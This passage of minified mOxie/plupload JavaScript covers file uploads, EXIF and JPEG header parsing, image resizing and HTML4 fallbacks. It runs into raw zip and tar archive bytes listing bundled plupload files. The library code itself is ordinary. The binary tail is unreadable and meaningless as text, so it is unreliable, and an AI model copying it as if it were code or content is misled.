4:c.onreadystatechange=function(){},0===c.status?n.trigger("error"):n.trigger("load")}},m.isEmptyObj(e.headers)||m.each(e.headers,function(e,t){c.setRequestHeader(t,e)}),""!==e.responseType&&"responseType"in c&&("json"!==e.responseType||E.can("return_response_type","json")?c.responseType=e.responseType:c.responseType="text"),s)if(c.sendAsBinary)c.sendAsBinary(t);else{for(var a=new Uint8Array(t.length),u=0;u<t.length;u++)a[u]=255&t.charCodeAt(u);c.send(a.buffer)}else c.send(t);n.trigger("loadstart")},getStatus:function(){try{if(c)return c.status}catch(e){}return 0},getResponse:function(e){var t=this.getRuntime();try{switch(e){case"blob":var i,n=new f(t.uid,c.response),r=c.getResponseHeader("Content-Disposition");return r&&(i=r.match(/filename=([\'\"'])([^\1]+)\1/))&&(l=i[2]),n.name=l,n.type||(n.type=u.getFileMime(l)),n;case"json":return E.can("return_response_type","json")?c.response:200===c.status&&window.JSON?JSON.parse(c.responseText):null;case"document":var o=c,s=o.responseXML,a=o.responseText;return"IE"===E.browser&&a&&s&&!s.documentElement&&/[^\/]+\/[^\+]+\+xml/.test(o.getResponseHeader("Content-Type"))&&((s=new window.ActiveXObject("Microsoft.XMLDOM")).async=!1,s.validateOnParse=!1,s.loadXML(a)),s&&("IE"===E.browser&&0!==s.parseError||!s.documentElement||"parsererror"===s.documentElement.tagName)?null:s;default:return""!==c.responseText?c.responseText:null}}catch(e){return null}},getAllResponseHeaders:function(){try{return c.getAllResponseHeaders()}catch(e){}return""},abort:function(){c&&c.abort()},destroy:function(){d=l=null}})}}),e("moxie/runtime/html5/utils/BinaryReader",["moxie/core/utils/Basic"],function(t){function e(e){(e instanceof ArrayBuffer?function(r){var o=new DataView(r);t.extend(this,{readByteAt:function(e){return o.getUint8(e)},writeByteAt:function(e,t){o.setUint8(e,t)},SEGMENT:function(e,t,i){switch(arguments.length){case 2:return r.slice(e,e+t);case 1:return r.slice(e);case 3:if((i=null===i?new ArrayBuffer:i)instanceof ArrayBuffer){var n=new Uint8Array(this.length()-t+i.byteLength);0<e&&n.set(new Uint8Array(r.slice(0,e)),0),n.set(new Uint8Array(i),e),n.set(new Uint8Array(r.slice(e+t)),e+i.byteLength),this.clear(),r=n.buffer,o=new DataView(r);break}default:return r}},length:function(){return r?r.byteLength:0},clear:function(){o=r=null}})}:function(n){function r(e,t,i){i=3===arguments.length?i:n.length-t-1,n=n.substr(0,t)+e+n.substr(i+t)}t.extend(this,{readByteAt:function(e){return n.charCodeAt(e)},writeByteAt:function(e,t){r(String.fromCharCode(t),e,1)},SEGMENT:function(e,t,i){switch(arguments.length){case 1:return n.substr(e);case 2:return n.substr(e,t);case 3:r(null!==i?i:"",e,t);break;default:return n}},length:function(){return n?n.length:0},clear:function(){n=null}})}).apply(this,arguments)}return t.extend(e.prototype,{littleEndian:!1,read:function(e,t){var i,n,r;if(e+t>this.length())throw new Error("You are trying to read outside the source boundaries.");for(n=this.littleEndian?0:-8*(t-1),i=r=0;r<t;r++)i|=this.readByteAt(e+r)<<Math.abs(n+8*r);return i},write:function(e,t,i){var n,r;if(e>this.length())throw new Error("You are trying to write outside the source boundaries.");for(n=this.littleEndian?0:-8*(i-1),r=0;r<i;r++)this.writeByteAt(e+r,t>>Math.abs(n+8*r)&255)},BYTE:function(e){return this.read(e,1)},SHORT:function(e){return this.read(e,2)},LONG:function(e){return this.read(e,4)},SLONG:function(e){e=this.read(e,4);return 2147483647<e?e-4294967296:e},CHAR:function(e){return String.fromCharCode(this.read(e,1))},STRING:function(e,t){return this.asArray("CHAR",e,t).join("")},asArray:function(e,t,i){for(var n=[],r=0;r<i;r++)n[r]=this[e](t+r);return n}}),e}),e("moxie/runtime/html5/image/JPEGHeaders",["moxie/runtime/html5/utils/BinaryReader","moxie/core/Exceptions"],function(a,u){return function o(e){var r,t,i,s=[],n=new a(e);if(65496!==n.SHORT(0))throw n.clear(),new u.ImageError(u.ImageError.WRONG_FORMAT);for(r=2;r<=n.length();)if(65488<=(t=n.SHORT(r))&&t<=65495)r+=2;else{if(65498===t||65497===t)break;i=n.SHORT(r+2)+2,65505<=t&&t<=65519&&s.push({hex:t,name:"APP"+(15&t),start:r,length:i,segment:n.SEGMENT(r,i)}),r+=i}return n.clear(),{headers:s,restore:function(e){var t,i,n=new a(e);for(r=65504==n.SHORT(2)?4+n.SHORT(4):2,i=0,t=s.length;i<t;i++)n.SEGMENT(r,0,s[i].segment),r+=s[i].length;return e=n.SEGMENT(),n.clear(),e},strip:function(e){var t,i,n=new o(e),r=n.headers;for(n.purge(),t=new a(e),i=r.length;i--;)t.SEGMENT(r[i].start,r[i].length,"");return e=t.SEGMENT(),t.clear(),e},get:function(e){for(var t=[],i=0,n=s.length;i<n;i++)s[i].name===e.toUpperCase()&&t.push(s[i].segment);return t},set:function(e,t){var i,n,r,o=[];for("string"==typeof t?o.push(t):o=t,i=n=0,r=s.length;i<r&&(s[i].name===e.toUpperCase()&&(s[i].segment=o[n],s[i].length=o[n].length,n++),!(n>=o.length));i++);},purge:function(){this.headers=s=[]}}}}),e("moxie/runtime/html5/image/ExifParser",["moxie/core/utils/Basic","moxie/runtime/html5/utils/BinaryReader","moxie/core/Exceptions"],function(p,o,g){function s(e){var t,l,h,f,i;if(o.call(this,e),l={tiff:{274:"Orientation",270:"ImageDescription",271:"Make",272:"Model",305:"Software",34665:"ExifIFDPointer",34853:"GPSInfoIFDPointer"},exif:{36864:"ExifVersion",40961:"ColorSpace",40962:"PixelXDimension",40963:"PixelYDimension",36867:"DateTimeOriginal",33434:"ExposureTime",33437:"FNumber",34855:"ISOSpeedRatings",37377:"ShutterSpeedValue",37378:"ApertureValue",37383:"MeteringMode",37384:"LightSource",37385:"Flash",37386:"FocalLength",41986:"ExposureMode",41987:"WhiteBalance",41990:"SceneCaptureType",41988:"DigitalZoomRatio",41992:"Contrast",41993:"Saturation",41994:"Sharpness"},gps:{0:"GPSVersionID",1:"GPSLatitudeRef",2:"GPSLatitude",3:"GPSLongitudeRef",4:"GPSLongitude"},thumb:{513:"JPEGInterchangeFormat",514:"JPEGInterchangeFormatLength"}},h={ColorSpace:{1:"sRGB",0:"Uncalibrated"},MeteringMode:{0:"Unknown",1:"Average",2:"CenterWeightedAverage",3:"Spot",4:"MultiSpot",5:"Pattern",6:"Partial",255:"Other"},LightSource:{1:"Daylight",2:"Fliorescent",3:"Tungsten",4:"Flash",9:"Fine weather",10:"Cloudy weather",11:"Shade",12:"Daylight fluorescent (D 5700 - 7100K)",13:"Day white fluorescent (N 4600 -5400K)",14:"Cool white fluorescent (W 3900 - 4500K)",15:"White fluorescent (WW 3200 - 3700K)",17:"Standard light A",18:"Standard light B",19:"Standard light C",20:"D55",21:"D65",22:"D75",23:"D50",24:"ISO studio tungsten",255:"Other"},Flash:{0:"Flash did not fire",1:"Flash fired",5:"Strobe return light not detected",7:"Strobe return light detected",9:"Flash fired, compulsory flash mode",13:"Flash fired, compulsory flash mode, return light not detected",15:"Flash fired, compulsory flash mode, return light detected",16:"Flash did not fire, compulsory flash mode",24:"Flash did not fire, auto mode",25:"Flash fired, auto mode",29:"Flash fired, auto mode, return light not detected",31:"Flash fired, auto mode, return light detected",32:"No flash function",65:"Flash fired, red-eye reduction mode",69:"Flash fired, red-eye reduction mode, return light not detected",71:"Flash fired, red-eye reduction mode, return light detected",73:"Flash fired, compulsory flash mode, red-eye reduction mode",77:"Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected",79:"Flash fired, compulsory flash mode, red-eye reduction mode, return light detected",89:"Flash fired, auto mode, red-eye reduction mode",93:"Flash fired, auto mode, return light not detected, red-eye reduction mode",95:"Flash fired, auto mode, return light detected, red-eye reduction mode"},ExposureMode:{0:"Auto exposure",1:"Manual exposure",2:"Auto bracket"},WhiteBalance:{0:"Auto white balance",1:"Manual white balance"},SceneCaptureType:{0:"Standard",1:"Landscape",2:"Portrait",3:"Night scene"},Contrast:{0:"Normal",1:"Soft",2:"Hard"},Saturation:{0:"Normal",1:"Low saturation",2:"High saturation"},Sharpness:{0:"Normal",1:"Soft",2:"Hard"},GPSLatitudeRef:{N:"North latitude",S:"South latitude"},GPSLongitudeRef:{E:"East longitude",W:"West longitude"}},n=(f={tiffHeader:10}).tiffHeader,t={clear:this.clear},p.extend(this,{read:function(){try{return s.prototype.read.apply(this,arguments)}catch(e){throw new g.ImageError(g.ImageError.INVALID_META_ERR)}},write:function(){try{return s.prototype.write.apply(this,arguments)}catch(e){throw new g.ImageError(g.ImageError.INVALID_META_ERR)}},UNDEFINED:function(){return this.BYTE.apply(this,arguments)},RATIONAL:function(e){return this.LONG(e)/this.LONG(e+4)},SRATIONAL:function(e){return this.SLONG(e)/this.SLONG(e+4)},ASCII:function(e){return this.CHAR(e)},TIFF:function(){return i||null},EXIF:function(){var e=null;if(f.exifIFD){try{e=r.call(this,f.exifIFD,l.exif)}catch(e){return null}if(e.ExifVersion&&"array"===p.typeOf(e.ExifVersion)){for(var t=0,i="";t<e.ExifVersion.length;t++)i+=String.fromCharCode(e.ExifVersion[t]);e.ExifVersion=i}}return e},GPS:function(){var e=null;if(f.gpsIFD){try{e=r.call(this,f.gpsIFD,l.gps)}catch(e){return null}e.GPSVersionID&&"array"===p.typeOf(e.GPSVersionID)&&(e.GPSVersionID=e.GPSVersionID.join("."))}return e},thumb:function(){if(f.IFD1)try{var e=r.call(this,f.IFD1,l.thumb);if("JPEGInterchangeFormat"in e)return this.SEGMENT(f.tiffHeader+e.JPEGInterchangeFormat,e.JPEGInterchangeFormatLength)}catch(e){}return null},setExif:function(e,t){return("PixelXDimension"===e||"PixelYDimension"===e)&&function(e,t,i){var n,r,o,s=0;if("string"==typeof t){var a,u=l[e.toLowerCase()];for(a in u)if(u[a]===t){t=a;break}}n=f[e.toLowerCase()+"IFD"],r=this.SHORT(n);for(var c=0;c<r;c++)if(o=n+12*c+2,this.SHORT(o)==t){s=o+8;break}if(!s)return!1;try{this.write(s,i,4)}catch(e){return!1}return!0}.call(this,"exif",e,t)},clear:function(){t.clear(),e=l=h=i=f=t=null}}),65505!==this.SHORT(0)||"EXIF\0"!==this.STRING(4,5).toUpperCase())throw new g.ImageError(g.ImageError.INVALID_META_ERR);if(this.littleEndian=18761==this.SHORT(n),42!==this.SHORT(n+=2))throw new g.ImageError(g.ImageError.INVALID_META_ERR);f.IFD0=f.tiffHeader+this.LONG(n+=2),"ExifIFDPointer"in(i=r.call(this,f.IFD0,l.tiff))&&(f.exifIFD=f.tiffHeader+i.ExifIFDPointer,delete i.ExifIFDPointer),"GPSInfoIFDPointer"in i&&(f.gpsIFD=f.tiffHeader+i.GPSInfoIFDPointer,delete i.GPSInfoIFDPointer),p.isEmptyObj(i)&&(i=null);var n=this.LONG(f.IFD0+12*this.SHORT(f.IFD0)+2);function r(e,t){for(var i,n,r,o,s,a=this,u={},c={1:"BYTE",7:"UNDEFINED",2:"ASCII",3:"SHORT",4:"LONG",5:"RATIONAL",9:"SLONG",10:"SRATIONAL"},l={BYTE:1,UNDEFINED:1,ASCII:1,SHORT:2,LONG:4,RATIONAL:8,SLONG:4,SRATIONAL:8},d=a.SHORT(e),m=0;m<d;m++)if((i=t[a.SHORT(r=e+2+12*m)])!==x){if(o=c[a.SHORT(r+=2)],n=a.LONG(r+=2),!(s=l[o]))throw new g.ImageError(g.ImageError.INVALID_META_ERR);if(r+=4,(r=4<s*n?a.LONG(r)+f.tiffHeader:r)+s*n>=this.length())throw new g.ImageError(g.ImageError.INVALID_META_ERR);"ASCII"===o?u[i]=p.trim(a.STRING(r,n).replace(/\0$/,"")):(s=a.asArray(o,r,n),o=1==n?s[0]:s,h.hasOwnProperty(i)&&"object"!=typeof o?u[i]=h[i][o]:u[i]=o)}return u}n&&(f.IFD1=f.tiffHeader+n)}return s.prototype=o.prototype,s}),e("moxie/runtime/html5/image/JPEG",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/html5/image/JPEGHeaders","moxie/runtime/html5/utils/BinaryReader","moxie/runtime/html5/image/ExifParser"],function(s,a,u,c,l){return function(e){var i,n,t,r=new c(e);if(65496!==r.SHORT(0))throw new a.ImageError(a.ImageError.WRONG_FORMAT);i=new u(e);try{n=new l(i.get("app1")[0])}catch(e){}function o(e){var t,i=0;for(e=e||r;i<=e.length();){if(65472<=(t=e.SHORT(i+=2))&&t<=65475)return i+=5,{height:e.SHORT(i),width:e.SHORT(i+=2)};t=e.SHORT(i+=2),i+=t-2}return null}t=o.call(this),s.extend(this,{type:"image/jpeg",size:r.length(),width:t&&t.width||0,height:t&&t.height||0,setExif:function(e,t){if(!n)return!1;"object"===s.typeOf(e)?s.each(e,function(e,t){n.setExif(t,e)}):n.setExif(e,t),i.set("app1",n.SEGMENT())},writeHeaders:function(){return arguments.length?i.restore(arguments[0]):i.restore(e)},stripHeaders:function(e){return i.strip(e)},purge:function(){!function(){n&&i&&r&&(n.clear(),i.purge(),r.clear(),t=i=n=r=null)}.call(this)}}),n&&(this.meta={tiff:n.TIFF(),exif:n.EXIF(),gps:n.GPS(),thumb:function(){var e,t,i=n.thumb();if(i&&(e=new c(i),t=o(e),e.clear(),t))return t.data=i,t;return null}()})}}),e("moxie/runtime/html5/image/PNG",["moxie/core/Exceptions","moxie/core/utils/Basic","moxie/runtime/html5/utils/BinaryReader"],function(a,u,c){return function(e){for(var t,r=new c(e),i=0,n=0,o=[35152,20039,3338,6666],n=0;n<o.length;n++,i+=2)if(o[n]!=r.SHORT(i))throw new a.ImageError(a.ImageError.WRONG_FORMAT);function s(){r&&(r.clear(),e=t=r=null)}t=function(){var e=function(e){var t,i,n;return t=r.LONG(e),i=r.STRING(e+=4,4),n=e+=4,e=r.LONG(e+t),{length:t,type:i,start:n,CRC:e}}.call(this,8);return"IHDR"==e.type?(e=e.start,{width:r.LONG(e),height:r.LONG(e+=4)}):null}.call(this),u.extend(this,{type:"image/png",size:r.length(),width:t.width,height:t.height,purge:function(){s.call(this)}}),s.call(this)}}),e("moxie/runtime/html5/image/ImageInfo",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/html5/image/JPEG","moxie/runtime/html5/image/PNG"],function(n,r,o,s){return function(t){var i=[o,s],e=function(){for(var e=0;e<i.length;e++)try{return new i[e](t)}catch(e){}throw new r.ImageError(r.ImageError.WRONG_FORMAT)}();n.extend(this,{type:"",size:0,width:0,height:0,setExif:function(){},writeHeaders:function(e){return e},stripHeaders:function(e){return e},purge:function(){t=null}}),n.extend(this,e),this.purge=function(){e.purge(),e=null}}}),e("moxie/runtime/html5/image/MegaPixel",[],function(){function R(e){var t,i=e.naturalWidth;return 1048576<i*e.naturalHeight&&((t=document.createElement("canvas")).width=t.height=1,(t=t.getContext("2d")).drawImage(e,1-i,0),0===t.getImageData(0,0,1,1).data[3])}return{isSubsampled:R,renderTo:function(e,t,i){for(var n=e.naturalWidth,r=e.naturalHeight,o=i.width,s=i.height,a=i.x||0,u=i.y||0,c=t.getContext("2d"),l=(R(e)&&(n/=2,r/=2),1024),d=document.createElement("canvas"),m=(d.width=d.height=l,d.getContext("2d")),h=function(e,t){var i=document.createElement("canvas"),n=(i.width=1,i.height=t,i.getContext("2d")),r=(n.drawImage(e,0,0),n.getImageData(0,0,1,t).data),o=0,s=t,a=t;for(;o<a;)0===r[4*(a-1)+3]?s=a:o=a,a=s+o>>1;i=null;e=a/t;return 0==e?1:e}(e,r),f=0;f<r;){for(var p=r<f+l?r-f:l,g=0;g<n;){var x=n<g+l?n-g:l,E=(m.clearRect(0,0,l,l),m.drawImage(e,-g,-f),g*o/n+a<<0),y=Math.ceil(x*o/n),w=f*s/r/h+u<<0,v=Math.ceil(p*s/r/h);c.drawImage(d,0,0,x,p,E,w,y,v),g+=l}f+=l}}}}),e("moxie/runtime/html5/image/Image",["moxie/runtime/html5/Runtime","moxie/core/utils/Basic","moxie/core/Exceptions","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/runtime/html5/image/ImageInfo","moxie/runtime/html5/image/MegaPixel","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,g,d,x,t,E,y,w,v,R){return e.Image=function(){var i,n,m,r,o,s=this,h=!1,f=!0;function p(){if(m||i)return m||i;throw new d.ImageError(d.DOMException.INVALID_STATE_ERR)}function a(e){return x.atob(e.substring(e.indexOf("base64,")+7))}function u(e){var t=this;(i=new Image).onerror=function(){l.call(this),t.trigger("error",d.ImageError.WRONG_FORMAT)},i.onload=function(){t.trigger("load")},i.src="data:"==e.substr(0,5)?e:"data:"+(o.type||"")+";base64,"+x.btoa(e)}function c(e,t,i,n){var r,o,s,a=0,u=0;if(f=n,o=this.meta&&this.meta.tiff&&this.meta.tiff.Orientation||1,-1!==g.inArray(o,[5,6,7,8])&&(s=e,e=t,t=s),s=p(),!(1<(r=i?(e=Math.min(e,s.width),t=Math.min(t,s.height),Math.max(e/s.width,t/s.height)):Math.min(e/s.width,t/s.height))&&!i&&n)){if(m=m||document.createElement("canvas"),n=Math.round(s.width*r),r=Math.round(s.height*r),i?(m.width=e,m.height=t,e<n&&(a=Math.round((n-e)/2)),t<r&&(u=Math.round((r-t)/2))):(m.width=n,m.height=r),!f){var c=m.width,l=m.height,i=o;switch(i){case 5:case 6:case 7:case 8:m.width=l,m.height=c;break;default:m.width=c,m.height=l}var d=m.getContext("2d");switch(i){case 2:d.translate(c,0),d.scale(-1,1);break;case 3:d.translate(c,l),d.rotate(Math.PI);break;case 4:d.translate(0,l),d.scale(1,-1);break;case 5:d.rotate(.5*Math.PI),d.scale(1,-1);break;case 6:d.rotate(.5*Math.PI),d.translate(0,-l);break;case 7:d.rotate(.5*Math.PI),d.translate(c,-l),d.scale(-1,1);break;case 8:d.rotate(-.5*Math.PI),d.translate(-c,0)}}!function(e,t,i,n,r,o){"iOS"===R.OS?w.renderTo(e,t,{width:r,height:o,x:i,y:n}):t.getContext("2d").drawImage(e,i,n,r,o)}.call(this,s,m,-a,-u,n,r),this.width=m.width,this.height=m.height,h=!0}this.trigger("Resize")}function l(){n&&(n.purge(),n=null),r=i=m=o=null,h=!1}g.extend(this,{loadFromBlob:function(e){var t=this,i=t.getRuntime(),n=!(1<arguments.length)||arguments[1];if(!i.can("access_binary"))throw new d.RuntimeError(d.RuntimeError.NOT_SUPPORTED_ERR);(o=e).isDetached()?(r=e.getSource(),u.call(this,r)):function(e,t){var i,n=this;{if(!window.FileReader)return t(e.getAsDataURL());(i=new FileReader).onload=function(){t(this.result)},i.onerror=function(){n.trigger("error",d.ImageError.WRONG_FORMAT)},i.readAsDataURL(e)}}.call(this,e.getSource(),function(e){n&&(r=a(e)),u.call(t,e)})},loadFromImage:function(e,t){this.meta=e.meta,o=new E(null,{name:e.name,size:e.size,type:e.type}),u.call(this,t?r=e.getAsBinaryString():e.getAsDataURL())},getInfo:function(){var e=this.getRuntime();return!n&&r&&e.can("access_image_binary")&&(n=new y(r)),!(e={width:p().width||0,height:p().height||0,type:o.type||v.getFileMime(o.name),size:r&&r.length||o.size||0,name:o.name||"",meta:n&&n.meta||this.meta||{}}).meta||!e.meta.thumb||e.meta.thumb.data instanceof t||(e.meta.thumb.data=new t(null,{type:"image/jpeg",data:e.meta.thumb.data})),e},downsize:function(){c.apply(this,arguments)},getAsCanvas:function(){return m&&(m.id=this.uid+"_canvas"),m},getAsBlob:function(e,t){return e!==this.type&&c.call(this,this.width,this.height,!1),new E(null,{name:o.name||"",type:e,data:s.getAsBinaryString.call(this,e,t)})},getAsDataURL:function(e){var t=arguments[1]||90;if(!h)return i.src;if("image/jpeg"!==e)return m.toDataURL("image/png");try{return m.toDataURL("image/jpeg",t/100)}catch(e){return m.toDataURL("image/jpeg")}},getAsBinaryString:function(e,t){if(!h)return r=r||a(s.getAsDataURL(e,t));if("image/jpeg"!==e)r=a(s.getAsDataURL(e,t));else{var i;t=t||90;try{i=m.toDataURL("image/jpeg",t/100)}catch(e){i=m.toDataURL("image/jpeg")}r=a(i),n&&(r=n.stripHeaders(r),f&&(n.meta&&n.meta.exif&&n.setExif({PixelXDimension:this.width,PixelYDimension:this.height}),r=n.writeHeaders(r)),n.purge(),n=null)}return h=!1,r},destroy:function(){s=null,l.call(this),this.getRuntime().getShim().removeInstance(this.uid)}})}}),e("moxie/runtime/flash/Runtime",[],function(){return{}}),e("moxie/runtime/silverlight/Runtime",[],function(){return{}}),e("moxie/runtime/html4/Runtime",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/Runtime","moxie/core/utils/Env"],function(o,e,s,a){var u={};return s.addConstructor("html4",function(e){var t,i=this,n=s.capTest,r=s.capTrue;s.call(this,e,"html4",{access_binary:n(window.FileReader||window.File&&File.getAsDataURL),access_image_binary:!1,display_media:n(u.Image&&(a.can("create_canvas")||a.can("use_data_uri_over32kb"))),do_cors:!1,drag_and_drop:!1,filter_by_extension:n("Chrome"===a.browser&&a.verComp(a.version,28,">=")||"IE"===a.browser&&a.verComp(a.version,10,">=")||"Safari"===a.browser&&a.verComp(a.version,7,">=")),resize_image:function(){return u.Image&&i.can("access_binary")&&a.can("create_canvas")},report_upload_progress:!1,return_response_headers:!1,return_response_type:function(e){return!("json"!==e||!window.JSON)||!!~o.inArray(e,["text","document",""])},return_status_code:function(e){return!o.arrayDiff(e,[200,404])},select_file:function(){return a.can("use_fileinput")},select_multiple:!1,send_binary_string:!1,send_custom_headers:!1,send_multipart:!0,slice_blob:!1,stream_upload:function(){return i.can("select_file")},summon_file_dialog:function(){return i.can("select_file")&&("Firefox"===a.browser&&a.verComp(a.version,4,">=")||"Opera"===a.browser&&a.verComp(a.version,12,">=")||"IE"===a.browser&&a.verComp(a.version,10,">=")||!!~o.inArray(a.browser,["Chrome","Safari"]))},upload_filesize:r,use_http_method:function(e){return!o.arrayDiff(e,["GET","POST"])}}),o.extend(this,{init:function(){this.trigger("Init")},destroy:(t=this.destroy,function(){t.call(i),t=i=null})}),o.extend(this.getShim(),u)}),u}),e("moxie/runtime/html4/file/FileInput",["moxie/runtime/html4/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,d,m,h,f,s,p){return e.FileInput=function(){var a,u,c=[];function l(){var e,t,i,n=this,r=n.getRuntime(),o=m.guid("uid_"),s=r.getShimContainer();a&&(e=h.get(a+"_form"))&&m.extend(e.style,{top:"100%"}),(t=document.createElement("form")).setAttribute("id",o+"_form"),t.setAttribute("method","post"),t.setAttribute("enctype","multipart/form-data"),t.setAttribute("encoding","multipart/form-data"),m.extend(t.style,{overflow:"hidden",position:"absolute",top:0,left:0,width:"100%",height:"100%"}),(i=document.createElement("input")).setAttribute("id",o),i.setAttribute("type","file"),i.setAttribute("name",u.name||"Filedata"),i.setAttribute("accept",c.join(",")),m.extend(i.style,{fontSize:"999px",opacity:0}),t.appendChild(i),s.appendChild(t),m.extend(i.style,{position:"absolute",top:0,left:0,width:"100%",height:"100%"}),"IE"===p.browser&&p.verComp(p.version,10,"<")&&m.extend(i.style,{filter:"progid:DXImageTransform.Microsoft.Alpha(opacity=0)"}),i.onchange=function(){var e;if(this.value){if(this.files){if(0===(e=this.files[0]).size)return void t.parentNode.removeChild(t)}else e={name:this.value};e=new d(r.uid,e),this.onchange=function(){},l.call(n),n.files=[e],i.setAttribute("id",e.uid),t.setAttribute("id",e.uid+"_form"),n.trigger("change"),i=t=null}},r.can("summon_file_dialog")&&(e=h.get(u.browse_button),f.removeEvent(e,"click",n.uid),f.addEvent(e,"click",function(e){i&&!i.disabled&&i.click(),e.preventDefault()},n.uid)),a=o}m.extend(this,{init:function(e){var t,i,n,r=this,o=r.getRuntime();c=(u=e).accept.mimes||s.extList2mimes(e.accept,o.can("filter_by_extension")),t=o.getShimContainer(),n=h.get(e.browse_button),o.can("summon_file_dialog")&&("static"===h.getStyle(n,"position")&&(n.style.position="relative"),i=parseInt(h.getStyle(n,"z-index"),10)||1,n.style.zIndex=i,t.style.zIndex=i-1),i=o.can("summon_file_dialog")?n:t,f.addEvent(i,"mouseover",function(){r.trigger("mouseenter")},r.uid),f.addEvent(i,"mouseout",function(){r.trigger("mouseleave")},r.uid),f.addEvent(i,"mousedown",function(){r.trigger("mousedown")},r.uid),f.addEvent(h.get(e.container),"mouseup",function(){r.trigger("mouseup")},r.uid),l.call(this),t=null,r.trigger({type:"ready",async:!0})},disable:function(e){var t;(t=h.get(a))&&(t.disabled=!!e)},destroy:function(){var e=this.getRuntime(),t=e.getShim(),e=e.getShimContainer();f.removeAllEvents(e,this.uid),f.removeAllEvents(u&&h.get(u.container),this.uid),f.removeAllEvents(u&&h.get(u.browse_button),this.uid),e&&(e.innerHTML=""),t.removeInstance(this.uid),a=c=u=null}})}}),e("moxie/runtime/html4/file/FileReader",["moxie/runtime/html4/Runtime","moxie/runtime/html5/file/FileReader"],function(e,t){return e.FileReader=t}),e("moxie/runtime/html4/xhr/XMLHttpRequest",["moxie/runtime/html4/Runtime","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Url","moxie/core/Exceptions","moxie/core/utils/Events","moxie/file/Blob","moxie/xhr/FormData"],function(e,m,h,f,p,g,x,E){return e.XMLHttpRequest=function(){var u,c,l;function d(t){var e,i,n,r=this,o=!1;if(l){if(e=l.id.replace(/_iframe$/,""),e=h.get(e+"_form")){for(n=(i=e.getElementsByTagName("input")).length;n--;)switch(i[n].getAttribute("type")){case"hidden":i[n].parentNode.removeChild(i[n]);break;case"file":o=!0}i=[],o||e.parentNode.removeChild(e),e=null}setTimeout(function(){g.removeEvent(l,"load",r.uid),l.parentNode&&l.parentNode.removeChild(l);var e=r.getRuntime().getShimContainer();e.children.length||e.parentNode.removeChild(e),e=l=null,t()},1)}}m.extend(this,{send:function(t,e){var i,n,r,o,s=this,a=s.getRuntime();if(u=c=null,e instanceof E&&e.hasBlob()){if(o=e.getBlob(),i=o.uid,r=h.get(i),!(n=h.get(i+"_form")))throw new p.DOMException(p.DOMException.NOT_FOUND_ERR)}else i=m.guid("uid_"),(n=document.createElement("form")).setAttribute("id",i+"_form"),n.setAttribute("method",t.method),n.setAttribute("enctype","multipart/form-data"),n.setAttribute("encoding","multipart/form-data"),a.getShimContainer().appendChild(n);n.setAttribute("target",i+"_iframe"),e instanceof E&&e.each(function(e,t){var i;e instanceof x?r&&r.setAttribute("name",t):(i=document.createElement("input"),m.extend(i,{type:"hidden",name:t,value:e}),r?n.insertBefore(i,r):n.appendChild(i))}),n.setAttribute("action",t.url),e=a.getShimContainer()||document.body,(a=document.createElement("div")).innerHTML='<iframe id="'+i+'_iframe" name="'+i+'_iframe" src="javascript:&quot;&quot;" style="display:none"></iframe>',l=a.firstChild,e.appendChild(l),g.addEvent(l,"load",function(){var e;try{e=l.contentWindow.document||l.contentDocument||window.frames[l.id].document,/^4(0[0-9]|1[0-7]|2[2346])\s/.test(e.title)?u=e.title.replace(/^(\d+).*$/,"$1"):(u=200,c=m.trim(e.body.innerHTML),s.trigger({type:"progress",loaded:c.length,total:c.length}),o&&s.trigger({type:"uploadprogress",loaded:o.size||1025,total:o.size||1025}))}catch(e){if(!f.hasSameOrigin(t.url))return void d.call(s,function(){s.trigger("error")});u=404}d.call(s,function(){s.trigger("load")})},s.uid),n.submit(),s.trigger("loadstart")},getStatus:function(){return u},getResponse:function(e){if("json"===e&&"string"===m.typeOf(c)&&window.JSON)try{return JSON.parse(c.replace(/^\s*<pre[^>]*>/,"").replace(/<\/pre>\s*$/,""))}catch(e){return null}return c},abort:function(){var e=this;l&&l.contentWindow&&(l.contentWindow.stop?l.contentWindow.stop():l.contentWindow.document.execCommand?l.contentWindow.document.execCommand("Stop"):l.src="about:blank"),d.call(this,function(){e.dispatchEvent("abort")})}})}}),e("moxie/runtime/html4/image/Image",["moxie/runtime/html4/Runtime","moxie/runtime/html5/image/Image"],function(e,t){return e.Image=t});for(var t=["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/I18n","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/file/FileInput","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/file/FileDrop","moxie/file/FileReader","moxie/core/utils/Url","moxie/runtime/RuntimeTarget","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/xhr/XMLHttpRequest","moxie/runtime/Transporter","moxie/image/Image","moxie/core/utils/Events"],i=0;i<t.length;i++){for(var r=o,a=t[i],u=a.split(/[.\/]/),c=0;c<u.length-1;++c)r[u[c]]===x&&(r[u[c]]={}),r=r[u[c]];r[u[u.length-1]]=s[a]}}(this),function(e){"use strict";var r={},o=e.moxie.core.utils.Basic.inArray;!function e(t){var i,n;for(i in t)"object"!=(n=typeof t[i])||~o(i,["Exceptions","Env","Mime"])?"function"==n&&(r[i]=t[i]):e(t[i])}(e.moxie),r.Env=e.moxie.core.utils.Env,r.Mime=e.moxie.core.utils.Mime,r.Exceptions=e.moxie.core.Exceptions,e.mOxie=r,e.o||(e.o=r)}(this);PKYd[\eCFCFlicense.txtnu�[���PKYd[�
d��O�O~Fhandlers.jsnu�[���PKYd[_�$�AAAA��wp-plupload.jsnu�[���PKYd[��<�<��plupload.min.jsnu�[���PKYd[���E�.�.3handlers.min.jsnu�[���PKYd[�����Dplupload.jsnu�[���PKYd[2�Δ��/wp-plupload.min.jsnu�[���PKYd[�g϶�����Gmoxie.jsnu�[���PKYd[T��ubUbU�)moxie.min.jsnu�[���PK		�%14338/theme-i18n.json.json.tar.gz000064400000001006151024420100012136 0ustar00��U=O�0emE�A�hbC XeCƹP�c����9I]h�vA�Гb%���gg.3�9���E�i�2�PD0�X(]����T”=*���:d��"�7s��
